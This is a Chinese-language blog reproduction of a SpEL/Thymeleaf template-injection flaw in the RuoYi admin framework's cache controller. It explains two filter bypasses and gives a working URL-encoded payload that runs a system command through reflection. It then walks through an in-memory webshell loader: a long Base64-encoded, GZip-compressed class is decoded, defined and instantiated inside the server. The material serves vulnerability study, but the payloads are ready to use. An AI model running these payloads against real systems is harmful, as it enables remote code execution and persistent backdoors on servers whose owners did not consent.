Ruoyi SSTI 复现

Ruoyi SSTI 复现

原文链接:Ruoyi SSTI 与 Thymeleaf bypass深探-先知社区

前置知识:

Thymeleaf 模板片段复用语法:

定义片段:

<div th:fragment="header">欢迎来到后台

这里定义了一个叫header的片段,它可以被复用

复用片段:

<div th:insert="~{common/header :: header}"></div>

这里复用之前的header片段,~{common/header :: header}是片段表达式,格式为:~{模板路径 :: 片段名称},th:insert 会将目标片段的内容作为子元素插入到当前 <div> 标签内。

Thymeleaf 预处理机制:

Thymeleaf 的预处理表达式允许你在主表达式执行之前,先对表达式中的某一部分进行求值。格式为:__${expression}__

如:

<div th:text="${userMap[__${currentKey}__]}"></div>

会先对currentKey求值。

Thymeleaf 字面量替换语法:

主要目的是简化字符串拼接。当你需要在一段文本中混合使用“静态文字”和“动态变量”时,使用 |...| 比使用传统的 + 号拼接更简洁、更易读。格式:|静态文本 ${变量} 静态文本|

如:

常规写法:
<span th:text="'Hello, ' + ${userName} + '!'"></span>
使用字面量替换语法:
<span th:text="|Hello, ${userName}!|"></span>
SPEL 语法:

基础:

写法 含义 例子
#变量 引用当前上下文的对象 #response → 拿到 HTTP Response 对象
'' 空字符串 ''.getClass() → 拿到 String.class
@bean 引用 Spring Bean @securityManager → 拿到 Shiro 的 SecurityManager
.方法() 调用方法 .forName('java.lang.Runtime')
.属性 访问属性 .status.name
T(类) 直接引用 Java 类(被拦截了) T(java.lang.Runtime) → 不可用

注:在 Spring 框架中,Bean 就是由 Spring 容器(Container)创建、管理和销毁的 Java 对象。

// 1. 你只需要加一个注解,告诉 Spring:“这是一个 Bean,请帮我管理”
@Service
public class UserService {
    public void sayHello() {
        System.out.println("Hello from Bean!");
    }
}

// 2. 在另一个地方,你不需要 new,直接让 Spring 注入进来
@RestController
public class UserController {
    @Autowired // 意思是:Spring 请帮我把 UserService 这个 Bean 给我
    private UserService userService;

    public void test() {
        userService.sayHello();
    }
}

在利用中,如对SecurityManager,因为 SecurityManager 是 Shiro 内部管理的对象,没法直接通过 RuntimeThread 拿到它。但 Spring 把它注册成了 Bean,存在容器里,SPEL 的 @ 语法可以直接从容器"点名"把它拎出来。

一个高级语法:?[筛选条件] — 集合选择器

.getMethods.?[name=='getRuntime']

意思是:从 getMethods() 返回的数组里,挑出 name 属性等于 'getRuntime' 的那个 Method。

漏洞点:

@Controller
@RequestMapping("/monitor/cache")
public class CacheController extends BaseController {
    private String prefix = "monitor/cache";

    @Autowired
    private CacheService cacheService;

    @RequiresPermissions("monitor:cache:view")
    @GetMapping()
    public String cache(ModelMap mmap) {
        mmap.put("cacheNames", cacheService.getCacheNames());
        return prefix + "/cache";
    }

    @RequiresPermissions("monitor:cache:view")
    @PostMapping("/getNames")
    public String getCacheNames(String fragment, ModelMap mmap) {
        mmap.put("cacheNames", cacheService.getCacheNames());
        return prefix + "/cache::" + fragment;
    }

    @RequiresPermissions("monitor:cache:view")
    @PostMapping("/getKeys")
    public String getCacheKeys(String fragment, String cacheName, ModelMap mmap) {
        mmap.put("cacheName", cacheName);
        mmap.put("cacheKeys", cacheService.getCacheKeys(cacheName));
        return prefix + "/cache::" + fragment;
    }

    @RequiresPermissions("monitor:cache:view")
    @PostMapping("/getValue")
    public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap) {
        mmap.put("cacheName", cacheName);
        mmap.put("cacheKey", cacheKey);
        mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey));
        return prefix + "/cache::" + fragment;
    }

    ......
}

这里形如return prefix + "/cache::" + fragment;使用了片段表达式,这将允许攻击者构造恶意SPEL表达式发送到后端进行攻击。

绕过原理:

绕过Thymeleaf 表达式入口检测:

防御代码逻辑:

private static boolean containsExpression(final String text) {
    final int textLen = text.length();
    char c;
    boolean expInit = false;
    for (int i = 0; i < textLen; i++) {
        c = text.charAt(i);
        if (!expInit) {
            if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
                expInit = true;
            }
        } else {
            if (c == '{') {
                return true;
            } else if (!Character.isWhitespace(c)) {
                expInit = false;
            }
        }
    }
    return false;
}

这串代码在检测到$、#、@、~ 等表达式起始符后,会将状态标记为 expInit=true,并继续判断后续字符是否为 {,是则返回ture。可是

在连续两个表达式起始符后,状态标记会直接变为false。此时再遇到{就不会不会ture

绕过实例化审查:

审查代码逻辑:

public static boolean containsSpELInstantiationOrStaticOrParam(final String expression) {

    /*
     * Checks whether the expression contains instantiation of objects
     * ("new SomeClass") or makes use of
     * static methods ("T(SomeClass)") as both are forbidden in certain contexts in
     * restricted mode.
     */

    final int explen = expression.length();
    int n = explen;
    int ni = 0; // index for computing position in the NEW_ARRAY
    int pi = 0; // index for computing position in the PARAM_ARRAY
    char c;
    while (n-- != 0) {

        c = expression.charAt(n);

        // When checking for the "new" keyword, we need to identify that it is not a
        // part of a larger
        // identifier, i.e. there is whitespace after it and no character that might be
        // a part of an
        // identifier before it.
        if (ni < NEW_LEN
            && c == NEW_ARRAY[ni]
            && (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
            ni++;
            if (ni == NEW_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) {
                return true; // we found an object instantiation
            }
            continue;
        }

        if (ni > 0) {
            // We 'restart' the matching counter just in case we had a partial match
            n += ni;
            ni = 0;
            continue;
        }

        ni = 0;

        // When checking for the "param" keyword, we need to identify that it is not a
        // part of a larger
        // identifier.
        if (pi < PARAM_LEN
            && c == PARAM_ARRAY[pi]
            && (pi > 0 || ((n + 1 < explen) && !isSafeIdentifierChar(expression.charAt(n + 1))))) {
            pi++;
            if (pi == PARAM_LEN && (n == 0 || !isSafeIdentifierChar(expression.charAt(n - 1)))) {
                return true; // we found a param access
            }
            continue;
        }

        if (pi > 0) {
            // We 'restart' the matching counter just in case we had a partial match
            n += pi;
            pi = 0;
            continue;
        }

        pi = 0;

        if (c == '(' && ((n - 1 >= 0) && isPreviousStaticMarker(expression, n))) {
            return true;
        }

    }

    return false;

}

这里主要匹配new标记和T(,防止对象实例化和静态类/方法访问的情况,直接通过反射就可以绕过。

POC:

fragment=__%7C$$%7B#response.getWriter().print(''.getClass().forName('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null).getClass.getMethods.?%5Bname=='exec'%5D%5B1%5D.invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?%5Bname=='getRuntime'%5D%5B0%5D.invoke(null),'open%20-a%20Calculator'))%7D%7C__

解析:

  • #response 是 SPEL 内置变量,指向当前的 HttpServletResponse 对象。 getWriter().print() 把内容写入 HTTP 响应体,返回给攻击者。

  • 拿到 Runtime

  • 拿到 getRuntime() 方法对象

  • 调用 Runtime.getRuntime()

  • 从实例拿到它的 Class

  • 拿到 exec 方法对象

  • 构造调用 exec 所需的 Runtime 实例

  • 调用 exec

内存马利用:

在一个 fragment 中可以嵌套多个表达式语句,其共享一个上下文,可以在其中自定义注册变量与复制,其就可以直接解决java.io.ByteArrayInputStream 需求一个 Object[] 对象,其第一个元素需要是 decodeFromString 返回的 byte[] 数组的需求

# 定义Object[]
*${#a=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.lang.Object'),1)},
//目的:创建一个长度为 1 的 Object 数组。
//为什么要它:后面需要用 Base64Utils 把一段 Base64 字符串解码成 byte[]。解码出来后,需要有个地方存放这个 byte[]。
//#a 就是这个容器,#a[0] 就是用来放 byte[] 的格子。

# 设置decodeFromString返回的byte[]数组为Object[]的第一个元素
*${#a[0]=''.getClass().forName('org.springframework.util.Base64Utils').getMethods.?[name=='decodeFromString'][0].invoke(null,'H4sIAAAAAAAA%2F6V4CZwb13nf97hYAlyurl3R0lqWRCuWTe5wCWBxryRbuO9zcNOyPQAGA2AGM4OZwZlYiePYzmknTZuGOXuljHrScrukwsSSE0duc%2FVI3cPpfbepkqZXalkW%2Bz0Au9wl10fb%2FWHneO973%2Fn%2Fvve9%2BY23f%2BnzAOAkP0pgS9EEa28odw1rv80mh9ZIV%2BJLRlfSzUAIPNjjRpxV4mTBmm30%2BKZhhhUCK31dILCRujPJGlpXFp4hcEoRCZA6gXWBN4ISp%2BsZrs8TePjCxZPI3Sj%2BMqdyzQ5%2FuWMY6uUx37jc4eSWxGv65f4gpSQv%2B4dGJ8GJnGZwqa5u8DKvWeAsgQdQQoDTebdzwY6sqTGnHvcv%2F6xOe8Vn9zZcE9k6EnvKJBhlK3F3a5p2Cs1KPBUv%2B7meTxPUcLg28XXiHOuIRTIZuxzx5IVGt%2BixuQSbVlSrw363664bQ2Ma1rRirZH3xnt8xqbGKm6bGh22ku1ZihFGXCsnj4rDaD7o6ccZV2tmFRivY7fNDJmeaxzSx5q35uv0%2BqWwoiYrg4A6HuxWS4OM1xkp5VuxWaHi4gataDHX5ArlcLue6kwqhU6xWJYV25SpuTPT0rgjOkJTtcsmu5q7lBzMBpFOpeeOiZNy1F9rD8cFFzMdhqSKK1YbuJz2GNMUpwYzkdKNUnpcSE3SYsEj6VWpEckVOz6lrhldX9PRYmZTN9Ni2oLWGJXbjfY4nVVqLn%2B82tdSyWSyHXFwbE%2BtZONuR60WrtXdHmvQWerOilxLaM4Ux2ykxYbpoEsOZh3VVnqXkdlwvjFT%2BHG%2BHq7n2YlYiaRGSX6Q5m38LlsPGKo47nc8TENNdpOlqhFTXXLXP%2BKtuy3DPul04jYxHXXx5VhwWJtowrSUzbNGL6APx%2FlEeODq7IZCYU9TmXU6o16R1wUubhWy0njktCu29HBSK%2FKjqLUQ8CVVUXQEOoFcM2EfpCOZUKwiMvWQVhHUUTu6O%2B4b9WGh4W9lmcEk1A7HU6N0OMF2%2BwNGFBNBKT8YxBrdQb2Y6E%2BNYLgeSFfTQTHpmfoGtWK4ke8muHTEmAX0WCdR0%2BrJTsU6FbjaeJjl8kGHZAuN7VN7kgm5KpNYs6vapkJLjeTLs3ay7uwGq7ri8o2VSqLed%2FvHjnI1Zg323dWuXDQmRU%2Bn2%2BOSSm0oNqKjiD0YiyT7bElUir6yvz1pdK2NhtqaRO2eYDwn1yNiLZb3pqeid5RnS1IzqWYnvFuv8U6532IiQi7vEYpSuD%2BSpU4rkq1LufKkNJUizXRxVhz7OnpxEhrrwlSPxWspp93vFRNuKRmZ5Nq6FItm45XMbKgHZdG%2FW2mwciYmsezAr06azc7U52sIjdSUL2Y96rRWn42TjFRieyWZ1biC2ygkA61IpirGpKI7ptq79oZSnXS4lKooA083UWG8wQFT8ZYG3s4w5g4KSW0SqQwSvqro64QZkcuWO%2F7INMpKyaKv1wyrEc0t%2BmKiv1ntF%2BV4M1Lx5uz2iF4YtQRhXI72oolytxAfzuzJrtuQSp60XBoUw4mCPVDi%2FXVfSRsNIj53hUkwyVCpJ7HOXEhOFl0e2yytR%2FwsX6yx3CDj7uXZVKhdYzVXzOYVrWUvp0l9W702S%2Bi9SC4d6LApj0%2ByC0kjKg8FR9malfWYLehzdtI8a5dYw%2BkcZKWk2ErGR1k%2FPxLco4ir0SzbYx6735%2FoKHlHqe8uuti6PRv1aRlWHUn2oC9aYQpelvNKFSffFAXZlzeYqeQpaAGpG6mNNcYhhBvepgcB7QmUJgNXu%2BzKicKwGe17hVjZoe2G%2B4bc7uVqqd4oP61qs0HJG3OyijU3cVVZLZByleoTqz%2BwW047xXTZJw%2FlcM8V7A3i7rJTCdfsWftELPk87owzn66VclJ9IjjYVkmWEy1lpIWZQqipS4FeoT2z6hVHURoqNo2tOlGGPIn32y6tMxxWi1oirA3G5ep4rEVka3UwzrW7E606TDii7bEtHbSmM2KuHmETnVJ5KraqYTGXyvb4xDTPpzpBTRLV7HjGpFNjtdxWE4FWJ9wLSl6xoRgVZdAXmFa6kgz2bB12qGhMcpAuzAKhXo0VCrFAxZdqxbyhaq7dkKbd%2BnCQDzgCmXFRYYtCme9NvO5GotIKG2pR57x8aBKfBEd8vBPWu6lBfRJqqmp4oE5y5VQ6FQgmOpIzpHhTOt9W9VZM2TWyStTR6CmRWMW7u5upVaepWNTZiEnpsGMSc7tGsVa5LhVtFQYRlraNhoxcHQyd%2BYhWbIi7MW%2Bh0InNit6Wr5hxjwOtULaZ87KZjtPJ%2BCq%2BgBaK1mpFh2Ek9ZwhiJG%2Bwx6JVEZejmuVup6SKBSK1tDMWelWZ4FmuxgeBBtesbw7cvdDkWBkONXEUconOYSytTOwiu2wZk00wq7ybnE8Elp5m91a0ePtQdZerzfs9nIqV7LLhZjWH05i9VS57Y5n3a2Ip13k0iNXEMM28vhzu42JUnDGZ%2FW8MUlkxiNOS%2Ft6qmFko3JyV4k72HbMnmtmEpUqq4%2BCoTIbzBf8fCDilz3SgLM6d3lPsZLnyrvWmmH3u71GRUv6xi4r61R5a5urNDFus%2Biunte13jjkZflsxirHSpWkqhSjJS7hiZRrI7k8zfVlK9OIZ4oFJsbOhMkoW7Prfb5Qc8zcWTUg%2BrqNvsRE5KJXEdrjZjDu6vocspdP6M2Oxyb0vanUMLg7Mvy6p9%2FVeq1y1OYpeJLxAN%2FvuLJGqBdPBR2jrlD18cWQWxeLowpf7NsKLb8R82ZZSVciA7UlZDTZ09Nr3VEjVzO6gZgwLOSimjckejLOsjPW2O0WI1KomHHyjmy1V01l3Tm2Fq210p4AM5l4h0FbM%2BhtDWLVqbc1GXQa4dEo2oiPev5hyRYxVJ%2FATHV%2FNOByRAJjrP%2BM1OhEYkrbJjWdtWY3E9D8PrEiZwXR1hOj%2Faw6bI%2F7fKfD9Nl%2Bqe4zquo4KvbSYild7zeH0dBoKLSCOVssnxft4UGdj4dFu6PDpnM6Exr3hmWpHRTK8Yw1rIXjw92g6HI128KYVUM%2Bv8Lb1H5at80aYic0SfXjOaGwq9p75W6%2BMRzPXAldKOrjsRizuSSxlVU61cRQzMds6u4kYWsmuYiheRnRZnP30%2Fb0yBpq%2BkWPI1UJMo0JlwvKSqw3k5zxkWownVAqPHbzcroSmdikRq7Sd3U0LRkcWMusKnhTw4iNj5cCLT5RdvqzLofX3qsFi25hJnsTOa04jmZrrZw%2FrThiyXEj7VOjfjcz0gVPuxZRuraSs89zXDFWjth6eWtGnjHBnK8uD7rtab0f7Jf6yWa3XbH1%2BWp4NOQHQotx8cF8wO2WPJOmk89aU8OyS7DrXiln8EE%2BYI2y7mm028xhi%2FmcBe4ncPrZLrbP78e2%2BMLFMoHNO21usaMpY64h8WbYWIcH4aE1MMHD62AGyxk4Be8gsEa7ZEU2%2BIlB4KGDHnmI%2FbeV5Y1n1uFR2FpD0ncSuO%2FYlBneReCRuzvqwLArtXjNDE%2BswZNU0iqcppLejVpyqsrLLQI7F%2B5txO%2FtzZecUIPvgPdQZk9jw91caHqe1zRF2ztvgfctuvAwfU%2Fzus4J2OpfPCrg0AUnyEDmF2GbmscQsBjKYnQddmCNSrxMwNzVw33VmM59W18HG9jPwuOwi7460EVWjPNtZSi3LHigAUvX4DXOUDQC7zjmzfhyHGW6wUOZePEEc%2B%2B8GfZQbIfTM8h8HZ6lAp%2BB5wiY5HmMjp9jFmci5PkBeJ7S%2BTGiS8X2zl%2BxQJDA%2FXciXFAU5PDeC%2FcyONE3YYhQ30TxUPUC%2BjqO1iEvtsNL0rfmcqhZElKUSxoR0JXpGIH3nbD2BG7ldchCji7OEzh7xbr9wnmN51rTNQuw6KM2hyfFFipWwgMfjlWOnRbZKZ7U%2BmaoYeiUIQo9t5DQxVYE7TPQSp7ro35X4INnoA4vEHj6bvg%2Fe69S73%2FmWIKFJ01eNbqKbIaPICburI5xemeeJY01aMLDx1RDSKIZZkCoPoQO9UvYrnFNsahxTV6%2FOwvTnIpKCtBZgzZ0j2UhTpkBT7unRX6KstahD1tnQQIZnYN86bl3HVSK5TYMCLyLooDr4uk1gNIEjWI2pykoU1fwQKsfd98cBGYYYtCbi3VI8NjRwAU7nMbygyEvNzG5MDnGMFmDEWCynDY4DTWwwHeiwvgQ6fJSq8xJQzTZ%2B82Df0JBOITSR%2BFFiobvpgI6Xf09Ngt8jOrXwVKh8bIFPo4zIyoGdX30mBuDiiQhE4wU8vkEfJL66VOYTSdRmOEHzsIP0vw8zbVafor2rQsn86Jm%2FzD8CE3nTyN5js6gL38UQcf1VAv8iXkuz78mWOBPElhVNcVQLPATOM61ONWg4z9J4Az6WEaeNBA%2FhXM6r426Td4CP4NceVnAqFng5xDEd5J5%2Fm0jpXBYJKl%2BRx12ZAqt%2FTPwZykC%2FtwifedziOF7FyDpX4BfoDvEX8SqetekGX5xEUo8nKoSv8DWX6LYegn%2BMrK7zFT4Blb4I6It8FfRkj5nNDs0HudOKvvovr8O1ylqPotO0HhdGWoISAt8jjJG0JpozbLAPiqPm4de6Rqddbi5WPIKsl8WOwvcoi5vte6Sc1BKUM6vwOdpmF5dJB2LDpYOfWmBLxBY78ojReTTvNFRkM8L3xZOr9zjxSvfZl38NfgiBfOvH6vQOc7oWOBL1LpduudYL1rgN7C8XbDAb%2BEN334HQYv06G3%2FMW8TYL5FRT6KiqXQo8H6%2B%2Bi6E4nN8A8wNkh%2BQPkP1%2BHvwt%2Bjyv%2FjdThDMXAKvoIkEs4v4fX0t9jjDwD3T%2BGfrcGX4Z%2Bvw30LPv8S49Dim0qLX3xZo9voCayuBNbhX8O%2FoSv%2BLbVl1lVDuKqvIoRQ%2FOkLVwJzmn8P%2F4HS%2FEfcP1p8G7NoLtgC%2Fxn3tCsBM%2FyXg6I95x7HGAjU4D9A4BVruTDOnqD0f4U%2FOgN%2FCP9tgSSUK3Ea3zrAzfMn6HsvSo46Q%2BPbtJ5YFxxQwP%2BA%2F0nh%2F7%2BwiH0jKjP8b8xHHXePJi3gXWxwUOcLdbppvglfW4OvwluYHvNimG1TL8aPilxairLehttr8IeILbo9U%2FwT8J0ApG8T1eQUWUHZxIQMr1jIafS7zI%2Fjsm5wuEusEws8j5aRM7gb0Z1PVaVuk6OVNDziZePg66puIWcxqncqLp0wk%2FvOkvvnVRk3HU7S18mD8HnMFPIQHX%2F1YF%2BeL%2FBrGjddrMK9d%2FME7c3kHQcb3p0Vupk8Squ%2BTpdSFH9jsw%2F1QqPfSR5bI1vkXd9kn8CwPEieWCPnyJNou%2F5Nbcdm2Wwoc4VoObt4ghLr5DvIe9Bs8vTSiMtU4uVFzljI%2B2h7pGjzKk0u0hx7iWwvmv3QPLk0C7m0SOoFnNbJ5TnmiBXNX%2BSfhdgRNvpQvtzv6s3LAT8bdjsPVzvu5Omw3aYjroMAYIcVz95pjIiHwOMHE4Gpwc8Nyw4NdbhswszEt0b2aJP0%2BB3nYUZbo%2FV4Li4foXsWfXcPq2MUeApapck%2F9%2Ffza%2BQDxE9bgcPe7wjxMijBNfIcCWHy0KZsuTq%2BTiIkSidiODLWsKlHj%2BJMPI6LSIIkUWGSQnQbyqEeNP9o0SEZkqXTOVzalBQdQ1DAkxcyY%2Bkwu9iH5y0RgQ%2F8X3dDB3VgzgAL%2BRN3pjIKO2x25hNH%2FF8lcP5I5iMmBU5alI0jVHUE0pFqtlTvW53VjiuzTj5IXqAo%2BtCyVxiqvNak9W6dfIS2Fi8RDg895%2BfUdw5OeJAjzW%2FQIMxDxK%2BRGmmvkzKpYDUnnWMHz2MqmElvjYi09K2g%2FHXSx8MHEYm8qJVH29CTity98k86lSBvnfLW8GyCvHG7%2Bcj%2FW6vw7Pb7v826SuDJu6O8yNsjARyhZxeDxz07WSNjgjvAxr2bkJl855GkPXIsMpOP3qllOHU0W5cx%2Be418iL5HmwU1cWygwPMsWw7etKiifO95ONrsEm%2Bj6b7ZcqAJsOzTWn5%2FQIs5Afodo2VwBTE0oJRmzPGg06Rm%2B9wa4cGo9vPsF1B5oyhxsO7cZUJAK9r9JMDPq3Rjxx4fwh3NuxRgJAfxrcHgO50ACsb69eB%2FhHaeNwz%2BcDB5IN0PZ0kH4IV5Azwte0bcO5leOQqmD5LUtv78FjqGrwnfQuerN2A8y%2FDU%2Fvw3o0LeNm%2BdAMu4X0frJ%2BDp5jXYZ15BbBsXoUnjhO7DomuwY8jjY9A%2BtIr8H5K%2BnF8CBDIHF8Roux3bkCMviQOl9OhzJ5pe2fLtA%2BF40uKR4Qwe6bjk2XKb8u00Hejeof09sz0OXjkZfgQElYqn0X33gcbcA42YQivYQe7ic75EXSKH87chrNAzEgBt9Hfp8z09zgd2Ty%2F%2Fs634LQZnrkNL4BpMYFvZgwYnX4T3vcmLiP0SxOsUF%2BfOofv6%2Bjzj92CJqrZSt2E3iugLPyC7snsLNxDuJ25e16D9p6JGq3trW6tbhj7MLsK9S3TxnfdhO%2FZ%2BF56%2BT68vAbS3umt06%2FA9xN4BX6IwJ55y7x09EX6hKz2LFuWQ%2BIzzNaZJfVnTkHl2u3fvQa%2FjwJ%2BbC7gM%2Fj04%2Fj0U%2FCJY6L%2BFL38abxQYRtX6dtP08vP0svP03EUeygD5R1R6AwVuFTozEKhta21Q%2BKzzNbZuxWq752%2BBiVq%2FZ9%2FHdLz%2Bz5c24e%2FMhf%2F1%2Fbh5avgng9v%2FI2l8Nfh6S3znOhvbtzYh1%2B6CudQo1%2BmsxaG6vMaZf72zzDXMSy%2FSJ4iTwO3jPQM1t6GR%2BcRfHwe0hhYDkK6iGrbDCMzSPgM2IRaT9Gor51EYpr%2FFoS3wUohcjcRAPbonOmrkEeIkE%2BjfMQMcOQz81T%2FMP6HIbLM3p%2FAOVoCPkzSzMavEnITXt%2F4W%2FPbazBKXwNThlmYnLn0JVjduY5Y%2F9tX4ZFlJuxQ5P%2FmAvnXj479Nl7mafF3lpOowClMgUcPXfI4mG7j68pcfRPVGmHNwVtwHz6%2FE4nxsITaUx0DSx2fYjZ%2Bd6nal6%2Bjuv9o%2FpLZOTI6r0RnMQ0OxJwGkkK%2Bd7yAnJOQWnL%2BTZw3Uy9sMzfgn6RJ5hKWpt%2Fbh3%2BRuQZVrAn78K9uwr%2B7Cf9pb3Xjyxu%2Ff%2FpX4KXaysYbbM30Mvx3trZKr%2FvwxxQzCJWvb52%2BhCSm2srWKpKs3CQEabZWP08f9snqa%2FDS8ZK0ScwLP1EHH69KO%2FtkjVpjwVL68KE1jwEC4%2BFlOcDrl8144KF%2B%2BxoUj5hI6BfApYlfQwOpiV9kNsn60mFfIPdfhejOa%2BR%2BWgBeIQ9gwqCeyxx6ij7RHEKrFqrNnUI2aPG%2BdvsrW6ZLr5BNinUY3CLnasjnEfzdJI%2FfIOf%2Fvxiiik%2BZ5j7eJI%2BwpoUrkd17CbCoOJZSWDriabC8DeepD8j9iPunEehvwtmvw2NH3y8cc8nO4Y714HLHwiA%2BtdiyztBj8dJhP4aYWMG7skku3CRMCpXaWUGl9omN4N2EgUzTkG2S3YWuGyMMru3SQt3tRaDfwN%2F19CZxLjm4j5IyGNt7qecqPY%2BbwkGwLUD%2BGPzHwXuGns2Xir6KOyuN7Advkb3aDfJMiqRvkedqt8gHats3SOAGCacfehB%2B2ZK5hGCK19ymn4P7mZ2Vc2hB%2BtrtN1CL%2FN7qpdfBfGmfFPGttLV6fe%2F0sYHTr857g2cxZQD%2F0%2FP7wea1SiNA9szkOTO88RacI%2FPcfeM29R%2FeF1PzzYrubeY7Q4BqbyKfpVnEC2dok7o0q7vM9ucRJNfSlzZMvwAbl1CbD1%2FPoF4NVP0PbpFabZlI24fJs0laeGUWGXSDCK%2Biw87SVoTUlio%2FACtvwSqmTNJMam9i2%2FTpeYE4hW3yFdTwo%2FDiUgUnWk0h8PA2c5N005fQYxJWBqJcT5NFnI6yxRKTR4bHuRGVDJbcnkBe1KCNObfMDuW2s422GJ%2Bdt0tHo%2Ftr8MXFbg6%2Fh2M0up%2Fc%2FgK8dBXWtrF6XAMztXfPRDC7TK%2BDY2v1S3AZC%2FPGlomZYxRr0eo1WMfXS4vn21%2FBrEOJjT3Ttdu%2FQ%2BmfvEXGB97bJNOjPpu9urU6r2OrC6FmghvANqJnlVr9bngOnifjpdXPwNr9QfTl12kdeskMX32XJWAm47PnC%2Fh8m7piUdbN5LvM5JEFCa1aX8Xhu%2FckMkSHX4TtZX5%2BDB1Gm1E3BfQc2plb5MXazg3ysTTaRT6BGn1yz7RE6qe2TNcPcfyprVUK2VPo9IvI4SIw8%2FtC5Yuw8ja810xepDiE0W0a5Xkl3cSxOVDfxhDMwWkh33%2FQw4Kbtmf49%2BQ1HNokP4jVeQX7OwwGXLv9R3ALTqGKP3SkOK3Cysp9iJ%2F%2FA1RVKQ2xJwAA')},
//目的:把 Base64 字符串解码成 byte[],放进第 1 步创建的 #a[0] 里。
//这段 Base64 是什么:一个 GZip 压缩过的 .class 文件(内存马的字节码)的 Base64 编码。
//Base64Utils.decodeFromString(base64字符串):Spring 的工具类,把 Base64 编码的字符串还原成 byte[]。

# 创建 ByteArrayInputStream 实例,传递 Object[] 作为新建的内容
*${#x=''.getClass().forName('java.io.ByteArrayInputStream').getConstructor(''.getClass().forName('[B')).newInstance(#a)},
//目的:把 byte[] 包装成 InputStream。
//为什么需要:GZip 解压工具 GZIPInputStream 只能从 InputStream 读数据,不能直接读 byte[]。所以需要先把 byte[] 包成 InputStream。
//[B 是什么:在 JVM 里,[B 是 byte[] 类型的内部表示名。forName('[B') 就是获取 byte[].class。

# 创建 GZIPInputStream 实例,传递 ByteArrayInputStream 作为新建的内容
*${#g=''.getClass().forName('java.util.zip.GZIPInputStream').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(#x)},
//目的:把压缩的字节流解压。
//为什么需要:内存马在传输前被压缩了体积。现在要用 GZip 解压,才能拿到原始的 .class 文件内容。

# 创建 URL 数组实例
*${#c=''.getClass().forName('java.lang.reflect.Array').getMethods.?[name=='newInstance'][0].invoke(null,''.getClass().forName('java.net.URL'),0)},
//目的:创建一个长度为 0 的 URL 数组。
//为什么需要:下一步要创建 URLClassLoader,它的构造方法第一个参数需要一个 URL[]。虽然我们不从 URL 加载类,但构造方法要求有这个参数。所以传一个空数组进去。

# 获得当前线程对象
*${#v=''.getClass().forName('java.lang.Thread').getMethods.?[name=='currentThread'][0].invoke(null)},
//目的:获取当前正在执行这段代码的线程对象。
//为什么需要:下一步创建 URLClassLoader 时,需要传入一个父类加载器(parent ClassLoader)。每个线程都有一个 contextClassLoader,可以用 Thread.currentThread().getContextClassLoader() 拿到。
//invoke(null):currentThread() 是静态方法,不需要实例。所以传 null。

# 创建URLClassLoader实例
*${#b=''.getClass().forName('java.net.URLClassLoader').getConstructor(''.getClass().forName('[Ljava.net.URL;'),''.getClass().forName('java.lang.ClassLoader')).newInstance(#c,#v.getClass().getMethods.?[name=='getContextClassLoader'][0].invoke(#v))},
//目的:创建一个 ClassLoader 实例。
//[Ljava.net.URL; 是什么:JVM 内部表示 URL[] 类型。

# 创建StreamUtils实例
*${#s=''.getClass().forName('org.springframework.util.StreamUtils').getMethods.?[name=='copyToByteArray'][0].invoke(null,#g)},
//目的:把 GZIPInputStream 里的全部数据读出来,变成一个 byte[]。
//为什么需要:#g(GZIPInputStream)是一个流,只能顺序读取。ClassLoader 要加载类时需要完整的 byte[],不能是流。所以必须把流全部读出,转成 byte[]。
//StreamUtils.copyToByteArray(InputStream):Spring 提供的工具方法,把一个 InputStream 的内容全部读成 byte[]。
//结果:#s 是内存马的完整、未压缩的 .class 字节码(byte[])。

*${''.getClass().forName('org.springframework.cglib.core.ReflectUtils').getMethods.?[name=='defineClass'][1].invoke(null, 'Chat',#s,#b).newInstance()}
//目的:把 byte[] 加载成 JVM 中的 Class 对象,然后创建它的实例。
//ReflectUtils.defineClass:Spring CGLib 提供的工具方法,它的作用是把一段 byte[] 注册到 JVM 里变成一个 Class。参数:
//'Chat':给这个新类起个名字,随便叫什么都行
//#s:类的字节码
//#b:用哪个 ClassLoader 来加载

(没看懂,学完内存马回来重写这一截)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇